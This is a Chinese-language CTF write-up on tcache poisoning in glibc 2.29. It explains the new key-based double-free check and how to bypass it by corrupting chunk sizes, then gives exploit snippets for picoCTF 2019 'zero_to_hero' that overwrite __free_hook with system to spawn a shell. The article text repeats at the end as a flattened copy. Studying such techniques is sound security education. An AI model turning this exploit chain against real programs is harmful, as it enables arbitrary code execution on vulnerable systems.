tcache poisoning在glibc2.29中的利用小结
字数 1532 2025-08-24 16:48:07

Glibc 2.29中tcache poisoning利用技术详解

前言

本文详细分析glibc 2.29中tcache机制的防护改进以及如何绕过这些防护进行利用。tcache是glibc 2.26引入的性能优化机制,早期版本缺乏足够的安全检查,使得攻击者可以轻易进行double free等操作。glibc 2.29对tcache增加了新的防护机制,本文将深入分析这些机制及其绕过方法。

Glibc 2.29 tcache新增防护机制

tcache_entry结构体变化

glibc 2.29中,tcache_entry结构体新增了一个key指针:

typedef struct tcache_entry {
    struct tcache_entry *next;  /* 指向下一个chunk的指针 */
    struct tcache_perthread_struct *key;  /* 新增的防护指针 */
} tcache_entry;

这个key指针位于原来bk指针的位置,用于检测double free。

tcache_put和tcache_get的变化

当一个chunk被free时,tcache_put会设置keytcache_perthread_struct的地址:

static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
    tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
    e->key = tcache;  // 写入tcache_perthread_struct地址
    e->next = tcache->entries[tc_idx];
    tcache->entries[tc_idx] = e;
    ++(tcache->counts[tc_idx]);
}

当从tcache分配chunk时,tcache_get会清空key

static __always_inline void *tcache_get(size_t tc_idx) {
    tcache_entry *e = tcache->entries[tc_idx];
    tcache->entries[tc_idx] = e->next;
    --(tcache->counts[tc_idx]);
    e->key = NULL;  // 清空key
    return (void *)e;
}

double free检测机制

_int_free函数中新增了以下检测逻辑:

if (__glibc_unlikely(e->key == tcache)) {
    tcache_entry *tmp;
    for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
        if (tmp == e)
            malloc_printerr("free(): double free detected in tcache 2");
}

触发double free报错的条件是:

  1. e->key == &tcache_perthread_struct
  2. chunk已经在对应大小的tcache链中

绕过防护的思路

思路1:修改key指针

如果有UAF或堆溢出漏洞,可以修改e->key为NULL或其他非tcache_perthread_struct的地址,绕过第一个if判断。

思路2:修改chunk size

利用堆溢出修改chunk的size字段(至少需要off by null能力),使得:

  1. 第一次free时根据实际size进入对应tcache链
  2. 修改size后,第二次free时进入不同大小的tcache链
  3. 由于两次free进入不同链,不会触发double free检测

实际案例分析:picoctf2019 zero_to_hero

程序分析

  • 保护机制:Full RELRO, Stack Canary, NX enabled, No PIE
  • 漏洞:
    1. free后未清空指针(UAF)
    2. 写入description时存在off by null
  • 限制:
    • 最大分配大小0x408(不超过tcache范围)
    • 最多创建7个chunk

利用步骤

  1. 泄露system地址:程序直接提供了system地址

    p.sendlineafter('hero?', 'y')
    p.recvuntil(': ')
    system = int(p.recvline().strip(), 16)
    libc.address = system - libc.symbols['system']
    
  2. 布置初始堆布局

    • 分配0x58大小的chunk 0
    • 分配0x100大小的chunk 1
    add(0x58, '0000')  # Chunk 0
    add(0x100, '1111') # Chunk 1
    
  3. free填充tcache

    free(0)  # 进入0x60 tcache
    free(1)  # 进入0x110 tcache
    
  4. 利用off by null修改size

    • 重新分配0x58大小,写入/bin/sh\x00并通过溢出将chunk 1的size从0x111改为0x100
    add(0x58, '/bin/sh\x00' + '0'*0x50)  # Chunk 0
    
  5. 触发double free

    • 由于size被修改,可以再次free chunk 1而不触发检测
    free(1)  # 现在chunk 1同时在0x100和0x110的tcache链中
    
  6. tcache poisoning

    • 分配0x100大小并写入__free_hook地址
    • 再分配两次0x100大小,第二次写入system地址到__free_hook
    add(0x100, p64(libc.sym['__free_hook']))
    add(0xf0, '1234')
    add(0xf0, p64(libc.sym['system']))
    
  7. 触发shell

    • free含有/bin/sh\x00的chunk 0
    free(0)
    

总结

glibc 2.29对tcache的防护主要通过key指针实现double free检测,但通过以下方式可以绕过:

  1. 修改chunk的size字段,使同一chunk进入不同大小的tcache链
  2. 需要至少off by null的能力来修改size字段
  3. 结合UAF或未初始化指针等漏洞完成利用

这种技术在Full RELRO保护下特别有用,因为可以通过修改__free_hook来获得控制流。

Glibc 2.29中tcache poisoning利用技术详解 前言 本文详细分析glibc 2.29中tcache机制的防护改进以及如何绕过这些防护进行利用。tcache是glibc 2.26引入的性能优化机制,早期版本缺乏足够的安全检查,使得攻击者可以轻易进行double free等操作。glibc 2.29对tcache增加了新的防护机制,本文将深入分析这些机制及其绕过方法。 Glibc 2.29 tcache新增防护机制 tcache_ entry结构体变化 glibc 2.29中, tcache_entry 结构体新增了一个 key 指针: 这个 key 指针位于原来 bk 指针的位置,用于检测double free。 tcache_ put和tcache_ get的变化 当一个chunk被free时, tcache_put 会设置 key 为 tcache_perthread_struct 的地址: 当从tcache分配chunk时, tcache_get 会清空 key : double free检测机制 在 _int_free 函数中新增了以下检测逻辑: 触发double free报错的条件是: e->key == &tcache_perthread_struct chunk已经在对应大小的tcache链中 绕过防护的思路 思路1:修改key指针 如果有UAF或堆溢出漏洞,可以修改 e->key 为NULL或其他非 tcache_perthread_struct 的地址,绕过第一个if判断。 思路2:修改chunk size 利用堆溢出修改chunk的size字段(至少需要off by null能力),使得: 第一次free时根据实际size进入对应tcache链 修改size后,第二次free时进入不同大小的tcache链 由于两次free进入不同链,不会触发double free检测 实际案例分析:picoctf2019 zero_ to_ hero 程序分析 保护机制:Full RELRO, Stack Canary, NX enabled, No PIE 漏洞: free后未清空指针(UAF) 写入description时存在off by null 限制: 最大分配大小0x408(不超过tcache范围) 最多创建7个chunk 利用步骤 泄露system地址 :程序直接提供了system地址 布置初始堆布局 分配0x58大小的chunk 0 分配0x100大小的chunk 1 free填充tcache 利用off by null修改size 重新分配0x58大小,写入 /bin/sh\x00 并通过溢出将chunk 1的size从0x111改为0x100 触发double free 由于size被修改,可以再次free chunk 1而不触发检测 tcache poisoning 分配0x100大小并写入 __free_hook 地址 再分配两次0x100大小,第二次写入system地址到 __free_hook 触发shell free含有 /bin/sh\x00 的chunk 0 总结 glibc 2.29对tcache的防护主要通过 key 指针实现double free检测,但通过以下方式可以绕过: 修改chunk的size字段,使同一chunk进入不同大小的tcache链 需要至少off by null的能力来修改size字段 结合UAF或未初始化指针等漏洞完成利用 这种技术在Full RELRO保护下特别有用,因为可以通过修改 __free_hook 来获得控制流。